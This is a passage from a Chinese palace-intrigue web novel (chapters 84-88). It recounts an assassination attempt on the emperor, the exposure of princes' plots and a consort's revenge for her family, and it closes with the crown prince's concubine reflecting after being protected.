乾元殿的一个小太监狗撵似的从大殿后侧门奔进来,直扑到太子跟前。
“殿下,殿下!”
海顺一把将人捞起来,低斥道:“不看看这是什么地方,有话好好说!”
远处的人没注意到这边的动静,信王几人离得近,听到声音纷纷看过来。
小太监浑身直抖。
“陛下……陛下**了!”
话音刚落。
几道酒盏碎裂之声接连响起。
却是信王、荣王、简王、骆晔受惊摔了酒盏,慎王直接徒手捏碎了酒杯。
小太监的声音不大。
估计是全仕财有交代叫他不要声张。
朝臣跟使节的位置远,没发现这边的异样,宗亲这边有几个老王爷察觉到了动静,但具体为何却没听清。
骆峋的面色前所未有的沉:“即刻**息,谁也不得擅自离席,违者杀无赦!”
“慎王、宣王随孤救驾,信王、荣王在此主持大局稍后来乾元殿复命,简王、信王世子带人将睿王找回来!”
第84章 出恭遭行刺,元隆帝化身狂暴巨龙!
眨眼间,大殿没了太子的身影。
别看平时几位皇子争锋相对,对太子鼻子不是鼻子,眼睛不是眼睛的。
可逢上这样的大事,包括信王在内的几人都必须要听从太子的指挥。
很快,几位王爷各司其职。
有人注意到太子和慎王,宣王突然离席,就连简王也拖动他那快胖成球的身子脸色难看地和皇长孙跑了出去。
众人纷纷侧目。
却被信王与荣王寻由搪塞了过去。
.
元隆帝坐在恭桶上,眉头紧锁。
今日从早到晚用的大多都是干膳,又饮了不少酒,他此刻只觉疼痛难忍。
看来还是得割,若不然着实遭罪。
这病也真是。
自己明明是武将出身……
元隆帝出恭不喜人近身服侍,全仕财等人这种时候通常都在净房外候着。
闭着眼倒吸一口凉气,元隆帝习惯性伸手去够旁边小几上的手纸。
谁知摸了半天,只摸到了一张。
元隆帝睁眼,不悦地皱眉。
这全仕财手底下的人越来越不会办事了,连他如厕的手纸都能忘了添。
啪!
元隆帝没好气地把那张手纸拍回小几上,“全仕财!全仕财给朕进来!”
净房的门被人从外面打开。
进来的却不是元隆帝身边的大太监全仕财,而是一个面嫩的小太监。
“禀陛下,全公公方才头晕眼花站不住,这会儿在耳房还没醒过来。”
元隆帝眉头皱得更紧。
可想到全仕财近期也忙得团团转。
他好歹每日能睡上两个时辰,全仕财却非但要忙着安排宴会相关事宜,还要随时随地在他身边跟前跟后。
罢。
“手纸没了,添些来。”
“是。”
这小太监平日里和另几个小太监负责净房打扫,元隆帝见过几面,倒是认得。
不多时。
小太监捧着一个装着手纸的托盘过来。
元隆帝伸手去接。
就在这时,托盘底下寒光一闪!
下一刻。
托盘被扔了老远,手纸纷纷扬扬。
不久前面嫩声细的小太监神情倏地狰狞扭曲,声嘶力竭:“狗皇帝!纳命来!”
元隆帝目光一凝,浑身肃杀之气骤起,继而接下小太监奋力一击的杀招。
小太监武艺不凡,手腕一翻一个腾空飞身,声东击西跃到元隆帝身后。
换做平时,元隆帝一只手就能拿下此等小贼,但问题是他现在在恭桶上!
手纸还洒了一地!
元隆帝恼羞成怒,“外面的人是都死绝了吗!有刺客!还不进来救驾!”
元隆帝平日里的安全主要由御前禁军和锦衣卫负责,今日这种场合乾元殿自是安排了不少护卫。
但,谁在自己寝殿出恭还要人在身边看着呢,不管别人如何反正元隆帝不喜。
骆峋赶到时。
元隆帝已经穿戴整齐从净房出来了,正骂骂咧咧要从寝殿的窗户跃出去追刺客,嚷着要亲手杀了贼人!
全仕财抱着主子的腰把人给拖住,看见太子就像是看到了救命稻草。
骆峋还从未见过父皇如此恼怒,只当父皇是在为今日戒备松散而愤怒。
他没有多言。
确定父皇无碍,便率禁军追出寝殿。
刺客武艺高强却双拳难敌四手,不肖片刻,锦衣卫就将刺客拿下了。
那人口中藏着毒。
见逃脱无望,当即便要咬破**。
骆峋扯下腰间玉佩一掷,只听“咔嚓”一声,刺客的整个下颌被卸了。
元隆帝宛如一头狂暴的巨龙。
“叫秦维翰过来!就当着朕的面审!朕倒要看看他的背后是谁人主使!”
秦维翰乃北镇抚司指挥使。
主掌诏狱刑讯,直接听命于元隆帝。
两刻钟后,乾元殿正殿。
太子和慎王、宣王,以及后来的信王、荣王按尊卑长幼站在殿中。
元隆帝坐在北面主位。
被剥了外衫的刺客瘫在地上。
身上中衣已被鲜血染红。
脑箍之刑在他脑门上留下的痕迹触目惊心,看似只有出的气没有进的气。
但这只是表象。
北镇抚司的掌刑力士最是擅长用刑,可精准到昼夜用刑而囚犯不死。
此时,两名掌刑力士就站在刺客两侧。
两套刑用罢,秦维翰继续审讯,但任凭他如何审问,刺客全程一语不发。
“倒是有几分骨气。”
元隆帝起身,冷笑着来到此人跟前。
“可惜,朕欣赏铁骨铮铮之人,也最擅长对付你这等自诩有骨气之辈。”
“来人……”
门口“扑通”一声。
包括元隆帝在内,屋中的人齐齐看过去。
就见简王面色发白地趴伏在地,宛如一座小山,脸上的肥肉不停地抖动。
像是受到了不小的惊吓。
元隆帝嘴角抽了抽,怒道:“瞧你那点儿出息!哪像一个皇子!宫外随便一个小贩拎出来都比你强!”
简王本就被殿内的情形给吓得不轻,这会儿再被皇帝老子一骂,被人搀起来的时候他浑身都在打摆子。
还是与他同行的骆晔先反应过来:“回皇祖父,六皇叔叫我们去寻三皇叔,孙儿和八皇叔把人找回来了……”
他侧了侧身。
俊秀的脸上表情很是古怪。
睿王从外面走了进来,一起的还有睿王妃,夫妻俩的脸都死白死白的。
元隆帝皱眉。
刚要问老三家的不在皇后跟前伺候。
跑这边来做什么。
被简王遮挡的半侧门后突然响起女子的哭喊,接着猛地跌出来一个人。
“陛下!睿王夫妻强掳臣妾行不轨之事!臣妾被他二人**无颜苟活!可臣妾死前恳请陛下替臣妾做主!”
此女衣衫不整,钗横鬓乱,声声血泣。
元隆帝定睛一看,竟是静妃!
孕育了十四皇子的静妃!
元隆帝脚下一个踉跄。
“父皇!”
骆峋闪身扶住父皇。
睿王和睿王妃双双跪地。
“父皇息怒!父皇息怒!儿臣/儿媳是、是……”
是什么?
夫妻俩竟是说不出个所以然来,甚至他们自己到现在都是懵的。
他们在御花园拦的明明是东宫的那个宠妾,却是不知为何成了静妃!
还被简王与皇长孙带人当场撞破!
太子……
睿王抬头的瞬间,看到了扶着元隆帝一步步朝他们夫妻走来的太子。
那张冷若冰霜的脸。
那双好似不论发生何事都能波澜不惊的眼。
是、你!
睿王的嘴角溢出一缕血丝。
皇子和后妃有染。
古往今来虽史书少有记载,但皇室中人都知此类事件历朝历代屡见不鲜。
元隆帝历来将后宫前朝分得很开,得宠
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如魏贵妃都从不敢妄议前朝之事。
儿子们虽各有心思。
在他这个当爹的面前却向来老实,元隆帝也自诩龙威赫赫,认定了没有哪个儿子敢做出和后宫妃嫔有染的事。
谁曾想万寿节当日。
竟有后妃跑来控告自己的儿子儿媳**!
**!
元隆帝此刻除了愤怒,还是愤怒!
但到底做了多年皇帝。
情绪方面元隆帝还是把控得很好。
短暂的气血翻涌后,他很快调整好心绪,视线落到哭出血泪的静妃身上。
“你来说!”
静妃声嘶力竭,也是什么体面都不顾了。
“臣妾原在御花园席间赏景,中途不适便请示娘娘前往堆秀山小院恭房。
哪知回程途中却遭睿王妃拦截!睿王妃上来便叫臣妾服侍她与睿王!
臣妾自是抵死不从!有意回水榭找娘娘做主,却不料路上蹿出几个蒙面黑衣人,硬是将臣妾强掳至无人之地!
臣妾已被他夫妻二人羞辱无颜存活于世!臣妾只求陛下替臣妾做主!
陛下您不知道……臣妾亲耳听睿王妃说的,睿王、睿王他患有花柳之症!
当时简王殿下与信王世子正巧赶来,他们都听见了!他们可以为臣妾作证!”
静妃的话说完,殿中一片死寂。
饶是跟了随元隆帝多年的全仕财也瞬间白了脸,只恨不得自己是聋子瞎子。
骆峋垂目站在元隆帝身后。
信王面如金纸,荣王噤若寒蝉,慎王想落井下石但不敢,宣王难以置信。
简王傻愣愣地点了点头,点完立马冷汗直流,皇长孙骆晔手脚发软。
睿王的花柳病是被信王坑害的,如今睿王却在有病的情况下**了老子的后妃。
这还是事情被捅出来了。
如果没有被捅出来呢?
如果静妃怕死,就此把事情瞒下来,日后元隆帝再去她宫中临幸人呢?!
“混账东西!”
元隆帝大步上前,照着睿王就是一记窝心脚!
睿王的身形本就偏清瘦,在房事上或许称得上强势,一夜几女不在话下。
但面对元隆帝这个曾仅凭三千兵马大败敌军五万人马,一举强势收复失地,且三度亲征漠北的尚武帝王。
睿王就如同一只小鸡崽。
元隆帝一脚下去,他整个人都跌了出去,重重撞到门槛上,当场吐血。
睿王妃也没被放过。
元隆帝顺势一脚踹过去。
睿王妃便似一只断了线的风筝。
夫妻俩一左一右地躺在地上吐血,再无在御花园拦截槛儿时的风华绝代。
“平日里你要在你府上养多少女人老子不稀得管!你要效仿老子,让民间百姓以为你在女人方面最像老子,老子也历来睁一只眼闭一只眼!
老子给你亲王之尊,给你俸禄,让你到六部当差!到头来你就是这么回报老子的!
灌了几碗黄汤就**原形毕露了!装不下去了!作践人作践到朕的后宫来了!
还花柳病!想你老子死!想你娘死!你可真是朕的好儿子!真是**好儿子!”
元隆帝怒不可遏。
骂完睿王,骂睿王妃。
“还有你!”
“身为王妃不履正妻之责,规谏睿王迷途知返,反倒做起这等下三滥的勾当!
别人迫于生计沦落风尘,虽垢犹贞,你自甘**!承德侯的老脸都被你丢尽了!”
第85章 两王对喷,刺客:“惊不惊喜,意不意外?”
睿王妃平日里当着裴皇后和元隆帝的面,最是长袖善舞,面面俱到。
很多时候她在裴皇后与元隆帝身上花的心思,比信王妃这个长嫂更像长嫂。
帝后也不止一次夸过她。
如今被元隆帝这么指着鼻子骂。
睿王妃畏惧天子之怒的同时,也头一回真切地感受到了什么叫无地自容。
也不明白事情怎么就变成了这样?
她与睿王要弄那小昭训,自然不尽是图快活,亦不可能暴露自己的行迹。
让众人知晓他们做了什么。
若不然,他们自己不就要受罚?
可没有这样的道理。
他们只是要利用那病。
结果没想到,他们明明都把那小昭训……
睿王妃捂着被踢的地方,紧紧咬牙。
整个大殿都是元隆帝的雷霆咆哮,甚至一连串骂下来气儿都不带喘的。
其他几个儿子自然不能干看着。
骆峋率先劝道:
“父皇息怒,睿王是否患有花柳之症有待查证,不若先请御医前来替睿王诊脉。
静妃娘娘道有黑衣人出没,事关前朝后廷安危,儿臣以为当即刻着人搜查捉拿。”
信王等人纷纷附和。
睿王被他老子一脚踹断了两根肋骨,眼前发黑,好不容易缓过来听到太子这番话,险些没给他气晕过去。
不过他也顾不上其他,忙跪地求饶。
“父皇息怒,父皇息怒!儿子的病也是遭人坑害,儿子也不知道为何是静妃娘娘,儿子是遭人构害,还请父皇明鉴!”
元隆帝气笑了。
“你不知道为何是静妃?那你原先打算**谁?你想把你那身腌臜病染给谁?!”
睿王一抖,当即也知道说错话了。
可他不可能说实话。
即便清楚今晚之事乃太子给他设的局,他也绝不能让父皇知道自己为了让东宫蒙羞,让太子染病。
想方设法对太子的宠妾下手。
眼珠子一转,睿王看向信王。
“大哥,是你对不对?!是你设计暗害于我!”
信王本就因藏着事而心虚,听睿王把事情扣到自己头上,他不禁脸色大变。
“你休要胡说!我今日一整天都随太子在一处,阖宫上下皆可作证!我如何害你?!”
“谁说害人定要亲自动手!”
睿王痛心疾首道。
“我的病从何而来,父皇不知旁人不知我不信你不知!若非你借我心腹之手送人于我,我如何会被染病!”
说着,他流出两行清泪来。
似是被伤透了心般对元隆帝哭诉。
“父皇明鉴,儿子贪色不假,可儿子从不曾行那等欺男霸女,寡廉鲜耻之事!
两个多月前大哥施计送人给我,害我折损一员心腹,害得我染了此等不齿之症!
我还当他为何那般行事,原是在今日挖了坑等着我跳!父皇明察秋毫,儿子斗胆请父皇做主,还儿子一个清白!”
“父皇您别信他!他是在血口喷人!”
信王此人,因着是元隆帝的长子。
自出生起便被寄予厚望,但也大抵因为打小身上的担子过重,导致他反而文不成武不就,各方面都偏于平庸。
只不过,他结合了元隆帝和德妃的优势,生得俊雅出尘,又素来沉稳内敛。
孝悌忠信,颇具仁义之风。
加之其生母德妃乃金陵世家女。
所以早些年元隆帝刚登基,裴皇后还没怀太子时,不少人都觉得元隆帝很大可能会立他这个长子为储君。
后来中宫有喜,举朝欢庆。
再后来六皇子长成被立为太子,朝臣看似皆为社稷有继松了一口气。
实则暗地里支持信王、荣王、睿王等皇子的人却并非没有,毕竟自古以来皇权交迭都是谁笑到最后谁才是赢家。
而不是入住了东宫,就一定能坐上那个位置。
也因此。
这些年来信王一直还存着夺嫡之心,期间自然免不得和睿王斗上几个回合。
如今生死攸关。
听睿王硬将罪名扣到自己头上。
本就心虚的信王竟是连往日的风度都顾不得了,直接和睿王对骂了起来。
“你自己道貌岸然,荒淫无耻染了脏病却要赖到我头上,我倒想问证据呢?!你有何证据证明是我坑害的你!
再者静妃娘娘说了是你与睿王妃一同逼迫于她,你告诉我我要怎么才能做到同时控制你夫妻二人的言行?!”
“还道你不行欺男霸女之事,简直笑话!”
睿王:“你!”
“都给朕闭嘴!”
元隆帝转身抄起案桌上的茶盏掼在地上。
顿时,除了太子。
信王等人纷纷跪伏在地。
元隆帝恨铁不成钢地指着面前的一众儿子,喘着粗气:“好,好得很!你们……”
这时,殿中忽地响起一声轻笑。
竟是先前不管怎么审讯都不曾开口的刺客,不知因何突然笑出了声。
元隆帝瞪他:“你笑什么?”
“我笑你老糊涂,笑你自以为是。”
北镇抚司掌刑的人立时要让其闭嘴,被元隆帝抬手制止了:“让他说!”
刺客竟就真说了。
“自以为是,以为坐在龙椅上就能天下之事皆为你掌控,以为下面人高呼几声万岁英明你就真的英明了。
可惜,欲明明德于天下者先治其国,欲治其国者,先齐其家,齐家不善谈何治国,若往后之国君都是你这样的。”
“大靖,必亡!”
“放肆!”秦维翰怒喝。
掌刑的人扬鞭狠甩在那人身上。
那人再次被打得皮开肉绽,却是没有半句求饶,只忽然看向不远处的静妃。
“你……真让那畜生糟践了?”
静妃跪在元隆帝脚边,不知何时止
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住了泪,神情漠然丝毫不见刚刚的凄厉。
听那刺客问起,她闭上了眼。
她起初确实有意让睿王得逞,左右都是要死,身子的清白又算得了什么。
但太子不允。
也不知他使了什么手段,让睿王夫妻误以为……
“嗯。”
静妃淡声应道。
看似毫不相干的两人一问一答之间竟透着几分熟稔,殿中的气氛诡异地一凝。
包括元隆帝和太子在内。
所有人的脸色都为之一变,其中又以信王、荣王、睿王的脸色最难看。
那刺客则面露苦笑。
“也罢,你我进宫之初便已将生死置之度外,横竖一死,什么死法不重要。”
说完,不等元隆帝质问他和静妃的关系。
那人便看着元隆帝,道:“你不是想知道我是受何人指使的么?我现在告诉你。”
“我与静妃乃姐弟,我二人进宫,为的是报仇,而将我二人安排进宫,安排到你身边的,正是你的好儿子。”
“信王、荣王、睿王,他们都有份。”
“想不到吧?”
何止是想不到!
简直匪夷所思!
信王、睿王面色煞白。
一副没想到刺客竟就这么把自己供出来的惊诧模样,同时还面面相觑。
像是都没料到这事居然还跟其他两个有关似的,脸上难掩惊疑之态。
唯独荣王。
经过最初的慌乱后,认命般垂下了头。
“竖子休得信口雌黄!”
睿王反应过来,对那刺客怒道。
“你道是本王将你二人安插入宫,按理你二人便该是本王的人才对,那如何又有静妃控告本王逼迫她一事?!”
说着,他转向元隆帝。
“父皇,这贼人所言自相矛盾,分明就是有人要栽赃陷害儿臣!请父皇明鉴!”
睿王妃这会儿终于缓过气来了。
也膝行过来请父皇明鉴。
确实。
如果静妃和这刺客是睿王的人。
那么睿王和睿王妃怎可能对静妃做出逼迫之事呢?又怎可能在逼迫静妃的同时还让刺客行刺元隆帝呢?
说不通。
这事怎么都像是有人针对睿王做的一场局,且这人最有可能是信王。
毕竟两人一直都在掐,两个多月前信王还被睿王坑了,禁足期才满没多久。
但问题是,还牵扯到了荣王。
荣王从前的确和信王、睿王争锋相对。
但自打五年前荣王被前荣王妃毒害,坏了腿脚后,便算是彻底泯然于众。
荣王近两年在吏部任的也只是虚职,以彰显圣上隆恩,以文墨荣养亲王的恩典。
荣王没有理由闹这一出。
偏偏刺客指认了他。
同时将他三人拉下来,谁会是最大受益者?
元隆帝看向了太子。
这个他曾经最宠,最疼爱的儿子。
第86章 太子什么都知道!
骆峋面不改色地迎上元隆帝审视的目光,并未多言,只轻唤了声“父皇”。
随即没等元隆帝开口。
那刺客咳出一滩血。
“说你老糊涂,你还真就糊涂上了,别人随口一句辩解就能把你耍得团团转。”
元隆帝:“你!”
静妃在这时睁眼。
猛地看向睿王夫妻,眼里恨意滔天。
“你说你怎么会逼迫我!我又怎么会指控你?!因为你从始至终都不知道我二人的仇人是你!是你们夫妻!”
“我大姐被你们欺辱致死,你们这对狗男女哪来的脸说自己不行欺男霸女之事!”
睿王、睿王妃双双怔住。
见他二人明显已经忘了此事的模样,静妃猛地拔出头上的特制金簪扑过去!
若不是不想便宜了这对狗男女,方才在御花园她能直接要了他们的命!
“啊——”
睿王一时躲闪不及,竟真被静妃刺中了肩头,立时发出一声凄厉惨嚎。
所幸锦衣卫及时按住静妃。
才没叫睿王再挨一簪。
静妃被锦衣卫死死按在地上,红着眼眶望向元隆帝,问道:“十五年前,蜀地雅州茶税一案,陛下可还记得?”
元隆帝一顿,旋即面色微变。
静妃看着他,笑出泪来。
蜀地雅州。
自大靖开国承担着全国大部分茶税。
及至英祖时期,国内经历了长达三年的旱灾,各地百姓流离失所,饿殍载道。
粮食都成活不了,更别说茶叶。
于是英祖下令,免了蜀地包括雅州在内的所有茶税,直至荒年过去的第十年。
蜀地才重新开始缴纳茶税。
也就是从这时候起,雅州这个地方承担的茶税是以往的将近十倍。
最初当地官府给雅州茶农的解释是,前些年他们没缴税,算作是欠了国家的税,从现在起他们得慢慢还。
雅州茶农对此深信不疑。
自此开始还起账来。
然后这一还,就是一百多年。
及至这个时候,早已无人提及雅州亏欠国家茶税一事了,雅州茶农也把这个税额当成了他们本来该缴的部分。
直到二十年前。
雅州一个叫作陈柏生的茶户偶然一次发现,雅州茶农还账这件事,竟是从英祖时期起就是有人在从中搞鬼!
陈柏生自己就是茶户,又生性正直,于是便想要朝廷还雅州茶农一个公道。
可时隔一百多年。
期间涉及到的利益不仅关系到各个阶层的官员,还有周边府县的乡绅百姓。
这不就是要断了某些人的财路?
断人财路,犹如**父母。
于是事情闹到十五年前,越闹越大。
彼时正值元隆帝打了一年多的仗回来,正是身心俱疲,修养伤病之时。
为避免这桩事演变为内乱,当时代为监国的信王和内阁,以及负责此案的刑部、都察院都催着让元隆帝决断。
元隆帝便按他们议的结果。
下了旨。
陈柏生最终成了这些利益党派博弈的牺牲品,陈家三族被流放苦寒之地。
直到两年后。
新任刑部尚书周敏礼无意间发现这起案子中的问题,两度提议重审此案。
元隆帝深思熟虑后同意。
并亲自重审此案。
这其中自然又牵涉到对各方的制衡。
总归最终,陈家得以平冤。
曾负责这起案件的信王和相关官员,及牵涉其中的得利者都受了该有的惩罚。
“陈家那时只剩了我姐弟三人,”提起父亲跟族人的死,静妃再度落泪。
“我们自是恨你,恨不得杀了你!可长姐说,杀了家父和族人的实非你一人。
说你是个好皇帝,说如果不是你承先帝志,惩奸佞,除贪官,镇外敌,我朝百姓早已深陷战乱之苦,民不聊生!
长姐教我姐弟放下仇恨,带我们来京城谋生,见识你是一个多么好的皇帝,结果?”
就是这个好皇帝的儿子儿媳。
设计强辱逼**长姐!
静妃盯着元隆帝,哽咽道:“养不教父之过,新仇旧恨,别说你不知道这件事!”
元隆帝还真不知道。
大抵高门大户多的是睿王这种表面君子如玉,私下里荤素不忌的纨绔子弟。
当爹的一般都不怎么管。
元隆帝作为这天底下最大的高门大户里的爹,自然也有着这样的通病。
加上睿王着实有手段,元隆帝的眼线未必能将其的所有言行监察到。
所以睿王夫妻暗地里强辱陈家长女这件事,在当时并未引起任何波澜,消息亦未曾传到元隆帝的耳朵里。
但那时的陈家姐弟如何能知晓这些,他们便当是元隆帝刻意放纵睿王。
他二人也是心性坚韧。
他们没有选择潜伏到睿王府直接找睿王两口子报仇,而是选择从元隆帝入手。
他二人想的是。
如果,他们能侥幸杀了元隆帝。
那便算是替家父和族人报了仇,是时他们牵扯出睿王,睿王也逃不掉!
退一万步,他们杀不了元隆帝。
他们照样可以把弑君的罪名扣到睿王头上,如此,便算是为长姐报了仇。
他们也不亏。
可两个完全没有背景的人想要混到皇帝身边,还真不是想怎样就怎样。
所以这事儿就牵扯到了信王、荣王和睿王,俱因早年他们仨一直在掐。
荣王给陈家姐弟搞了假身份想给信王下套,因信王负责了茶税一案。
信王则想借陈家姐弟给睿王使绊子,缘因他放在睿王府的眼线向他透露了睿王夫妻欺辱陈家长女之事。
睿王呢。
他起初并不知晓陈家长女的**。
后面因信王和荣王的插手,他更没有查清被他欺辱的女子和陈家姐弟的关系。
只知道静妃和小太监是陈家的人,于是睿王把他俩当成了设计太子的一环。
谁叫刑部尚书周敏礼是康国公举荐的人,利用他就可将太子牵扯进来。
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>而往皇帝近前安插人的皇子,历朝历代还真不少见,皇帝就算有一千只眼,也难免有疏漏的时候。
这也就导致静妃姐弟在宫中潜伏多年,元隆帝竟真让他们蒙在了鼓里。
而静妃起初是打算趁侍寝时下手的,奈何后宫普通妃嫔侍寝时规矩严格。
她根本无从下手。
于是一拖再拖。
尽管静妃不想承认,但随着她在宫中待得越久,她对元隆帝的了解也越深刻。
当初长姐说他是个好皇帝的话便总在不经意间,一遍遍回荡在她耳边。
此时,静妃声音嘶哑:
“你是好皇帝与否,后人自有论断,我做不到为一己之私断送我大靖百年基业,但是睿王,睿王妃这对畜生!”
“**后妃是事实,明知我姐弟与你有仇,却将我二人安插入宫也是事实!我那儿有证据,你大可叫人去搜!”
“陛下……”
“您不会忍的……对吗?”
最后一句,静妃的声音忽然变得很轻,眼神里似有恨有不甘,又像似充满决绝。
元隆帝何止不会忍,他现在只觉胸腔里蹿着一把火,烧得他整个人都要炸了!
不仅仅因为睿王夫妻。
还因为信王、荣王!
他二人也是早就知晓静妃和这刺客的关系,却仍把两人放到了他身边。
这是都不顾老子的死活。
都想弑君啊!
还有太子。
今晚之事看似与太子无关。
可事实真就如此吗?
他这个皇帝老子若有什么三长两短,太子便能顺理成章地坐上那个位置。
按理,太子是最有嫌的。
信王、荣王、睿王即便得逞,他们前面也始终有太子挡着,他们捞不到什么。
然问题在于。
太子心思缜密,历来行事周到严谨。
他若有意对他老子下手,就不会栽赃陷害到一半出现刺杀未遂这等意外。
很难不让人怀疑。
今晚的刺杀与睿王夫妻之事实则是信王、荣王、睿王为了把太子拉下马而或联手、或自导自演做的局!
元隆帝负在身后的手成拳,审视的目光一一从他的这几个儿子身上扫过。
这些平日里视他为天的儿子们,这些在他面前屁都不敢放一个的儿子们!
这时,荣王伏地叩首。
“儿臣有罪,请父皇降罪。”
信王瞪大眼。
随即对上元隆帝锐利威严的眼睛,他认清事实般塌了腰,伏地磕头。
睿王捂着肩,满手血。
也不知是失血过多还是别的什么,他身子摇摇晃晃,最后两眼一翻栽倒在地。
周身的剧痛让睿王妃抖若筛糠,她僵硬地支着脖子,哆嗦着去观察元隆帝。
谁知刚一抬眼。
对上了另一双眼底好似空无一物,却又像是充满厌恶及杀意的冷眸。
睿王妃的呼吸一滞,几欲窒息。
一个可怖的念头升起。
太子知道。
太子什么都知道!
第87章 太子没有食言,“死不了!”
奉天殿的晚宴上先是元隆帝离席,紧接着太子、慎王、宣王一同离席。
简王与信王世子亦不知为何面色难看地一去不返,再之后信王、荣王也悄无声息地不见了踪影。
且几人皆迟迟未归也就罢。
北镇抚司的秦维翰还被人叫走了,如此异举,再粗心的人也意识到是出事了。
但至于出的什么事。
在场之人一时无人敢猜,等到禁军将奉天殿团团围住,众人更是讳莫如深。
时间一点点流逝。
整个奉天殿一派沉寂,唯有场中还未撤下的珍馐美馔及佳酿,显示着不久前此处正在举行一场盛宴。
男客这边气氛沉凝。
御花园女眷席这边也不遑多让。
槛儿与姜侧妃的相继离席,起初并未引起除裴皇后以外的其他人的注意。
众人谈笑的谈笑,赏乐的赏乐。
直到睿王妃也跟着离席了有一刻钟左右,郑明芷和曹良媛才先后想起槛儿。
不过,大抵二人心中都或多或少存了些小心思,所以谁也没有提起槛儿。
便当什么都不知道。
宣王妃发现姜侧妃离开过久,但因瑜姐儿和慎王家的二郡主、荣王家的小公子撒娇着要去外面玩。
被打了岔。
宣王妃的注意力重新回到女儿身上,随后就跟荣王妃、慎王妃请示了裴皇后,带着孩子们出水榭玩去了。
如是又过了近两刻钟,乾元殿来人叫走了裴皇后,跟着御花园就被禁军围住了。
众人花容失色。
好在大伙儿平时都是修养极好的人,又见识远超常人,加上有太子妃和信王妃在,倒是没出什么乱子。
只大伙儿都知道宫里这是出大事了。
心中难免惶惶不安,再没有说话的心思,御花园这边一时便也静得厉害。
“太子妃,宋昭训……”
曹良媛环视一圈,在郑明芷身侧小声道。
郑明芷这会儿也很不安。
众人被严禁进出。
结合裴皇后被乾元殿的人叫走,郑明芷立马猜测是前朝出事了,且还是大事。
这时候她哪有心情管一个小妾啊。
所以听曹良媛提起槛儿。
郑明芷心里的不安顿时转变为对槛儿的怒意,没好气低声道:“死不了!”
哪怕知道她平时在外的以端庄宽和都是装出来的,这会儿突然听她这么恶声恶气,曹良媛也还是愣了愣。
郑明芷也意识到了自己的失态。
不想被其他人注意到她们这边的动静,她随口补了一句:“娘娘方才叫人出去找她了,应是没什么事。”
心里则想,那小蹄子最好是没给东宫招祸,若不然她要她吃不了兜着走!
曹良媛扯扯嘴角。
.
“还好吗?”
同一时间,琼苑左轩的暖阁内,见跳珠和银竹从内室出来,槛儿轻声问。
跳珠:“主子放心,奴婢好着呢!”
说着,哐哐拍了两下胸脯。
可惜她胸口刚挨了黑衣人一铁脚,才揉了药,这一拍差点没给自己拍吐血。
槛儿哭笑不得,起身给她顺气儿。
又看向银竹。
银竹笑道:“奴婢无碍,主子不必担心。”
槛儿点点头,让她和跳珠都坐下。
瑜姐儿落水的确是个幌子。
但事关几位皇子和太子之间的争斗,当着跳珠的面槛儿不好问得太细致。
也不好说她们在关键时刻被人接走前,她和太子短暂地见过一面。
没错,接走。
当时正值紧要关头,槛儿被人捂住嘴的第一反应就是拼了命攥紧金簪反击。
她一直记着太子昨晚说的那句“孤不会让你有事”,但真到了时候槛儿还是抱着自救的决心,甚至必死的决心。
幸好,太子没有食言。
虽然他们只是短暂碰了一个面,甚至连句话都没说,但太子抱住她的那一瞬,槛儿不得不承认自己狠松了一口气。
但当时时间紧迫。
她只来得及看清一道有些眼熟的女子身影,从假山石洞里走出来。
之后槛儿便被太子身后两名几乎与夜色融为一体的人,带到了离水榭不远的琼苑。
此处已有太医候着。
太医为她诊完脉,确认腹中胎儿无事时,银竹和跳珠被两名太监扛了回来。
至于那三个黑衣人太子如何处置的,那个地方之后又发生了什么,以及具体是哪个皇子要对东宫下手。
槛儿就一无所知了。
等银竹她们坐下,槛儿先问跳珠:“知道今晚发生了什么,我们遇上了什么事吗?”
跳珠一怔,心说主子问她这个做什么,今晚她们不是一直都在一块儿吗?
正疑惑着。
跳珠对上了自家昭训主儿温柔又不失庄肃犀利的眼神,心头蓦地一紧。
她忙跪下道:“奴婢陪昭训主儿去了堆秀山小院,回水榭时在路上多赏了一刻钟的景,并不曾遇见什么事。”
槛儿轻轻露出笑来,弯腰将人扶起来:“之后若是有人问你,记得就这么答。”
跳珠郑重应下。
槛儿又问银竹:“我这边的消息确定没有走漏?”
银竹知道她指的什么。
如实答:“爷没向奴婢提及此事,只交代奴婢保护好您,不过,奴婢和他们交手时有观察,对方的目标不是。”
她没
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说明,但槛儿懂。
银竹继续道:“消息应该并未走漏,且如有走漏,爷会提点奴婢加强防范。”
说到这,银竹突然顿了一下。
似有些欲言又止。
槛儿柔声道:“有什么话就说。”
银竹挠挠额头。
压低了声音斟酌道:“昨日之前爷并不知对方的目标是您,且今晚除了奴婢还有人在暗中负责您的安全。”
槛儿明白了。
银竹是怕她觉得,是太子故意拿她引蛇出洞,没把她和腹中的孩子当回事。
担心她对太子寒心,或是闹脾气。
槛儿忍不住失笑。
如果此时的她真是十五六岁的小姑娘,或许可能还会因为太子的算计而生出些小女儿家的各种心路历程。
但问题是,她不是。
自己现在虽与太子的关系近了不少,但以那人严谨的行事风格来说,他们远还没有到他将涉及前朝的计划,事无巨细地告知她的地步。
行大事者当不拘小节。
你死我亡的生死局,谈何儿女情长。
他若真动辄将涉及前朝的事告诉一个亲近不到三个月的侍妾,槛儿才该担心太子是否能守住现在的位置。
他能在昨晚提点她,能把银竹安排在她身边保护她,能在那般紧要的时刻冒着被发现的风险现身安抚她。
能保她与孩子安全无虞。
其他的,槛儿无所谓。
太子不愿让她知晓的事,她也不会多问。
毕竟,在他与外人眼里。
她就是一个真正的小姑娘。
“我知道了,此事你们谁都不要声张,”槛儿假装思考了片刻,小声道。
银竹见她似乎真没多想,放了心。
转眼看跳珠在揉胸口。
银竹咳了咳,“我知道一种对减轻疼痛很有效的手法,我帮你揉吧。”
她是假装被对方击中的。
跳珠却是真正挨了一脚,虽说她已经在关键时刻替跳珠承受了大半力道。
可毕竟是寻常女子。
跳珠自是不知道银竹的愧疚,闻言没有丝毫犹豫地侧了侧身让银竹帮她揉。
主仆仨都心照不宣地将不久前发生的事揭过,转而说起了别的话题。
正说着,院中响起一阵脚步声。
还伴随甲胄摩擦之声。
银竹率先出去,槛儿带着跳珠随后。
走到门口一看。
荣王妃、慎王妃和宣王妃带着各自的孩子由几名禁军护送着朝正房这边走来。
另有数名禁军迅速在院中各个位置站定,大门口亦有多名禁军把守。
银竹很快折身回来,对槛儿小声道:“主子,即刻起琼苑严禁人员进出。”
第88章 太子回来了,“姜侧妃栽进恭桶糊了一身!”
上辈子今年的万寿节没出什么乱子,这辈子事情发展轨迹有异,槛儿早有心理准备。
但闹得这么大,终归还是始料未及的。
上辈子太子前期一直很稳健,直到经历了幽禁,这辈子居然这么早就……
定定神,槛儿稳住心绪。
下台阶对来的三位王妃行了礼。
